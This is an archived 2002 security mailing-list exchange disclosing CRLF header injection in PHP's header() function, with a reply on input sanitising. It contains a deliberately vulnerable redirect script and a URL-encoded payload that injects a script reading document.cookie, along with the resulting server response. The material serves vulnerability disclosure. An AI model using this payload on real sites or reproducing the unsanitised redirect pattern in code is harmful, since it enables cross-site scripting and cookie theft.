A similar but far less dangerous vulnerability exists with the file() (and most file read related functions) function when passing a URL as the file to open (given that you have compiled PHP with appropriate options to allow this). You have the capacity to add header information to the GET request, if you are clever about it, including keepalive, and additional requests that the original author hadn't counted on. Such cleverness is left as an exercise to the reader (if you use HTTP/1.1 instead of 1.0, you may receive unparsed chunking, severely limiting what little damage could normally be done). At this point, I would like to re-voice my general objection to passing unparsed data entered by one untrusted user directly to anyone's browser. In general you should always know what sort of regexp any valid user input matches, and clean it up with preg_replace() or similar function before passing it out to the browser. In my mind, this is a task for each developer, although it sure would be nice if it was redundant security. -MightyE -----Original Message----- From: Matthew Murphy [mailto:mattmurphyat_private] Sent: Saturday, September 07, 2002 6:37 PM To: VulnDiscuss; VulnWatch; Vuln-Dev; SecurITeam News; BugTraq Subject: PHP header() CRLF Injection PHP's header() function is used to modify HTTP header information by specifying a header line, such as this: <?php header("Location: http://www.yahoo.com/"); ?> It is commonplace to see things such as this: --- REDIR.PHP --- <?php header("Location: $_GET['$url']"); ?> --- REDIR.PHP --- http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F %6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64% 6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2 1%2D%2D Will cause a series of lines to be produced: HTTP/1.1 302 Found Server: Xitami Date: Sat, 07 Sep 2002 21:50:17 GMT Content-length: 96 Content-type: text/html X-powered-by: PHP/4.2.3 {Location: http://www.yahoo.com/ <SCRIPT>alert(document.cookie)</SCRIPT><!--} <-- See our code in between the brackets Content-type: text/html The HTML produced is "broken" -- that is, it doesn't comply to RFC standards, because it doesn't have a "-->" tag. I did this to supress the stupid "Content-type" header that PHP was dumping in the response. By using this, attackers can perform cross-site scripting attacks or initiate downloads, in rare cases (via HTTP headers, such as content-dispostion, etc.) "The reason the mainstream is thought of as a stream is because it is so shallow." - Author Unknown
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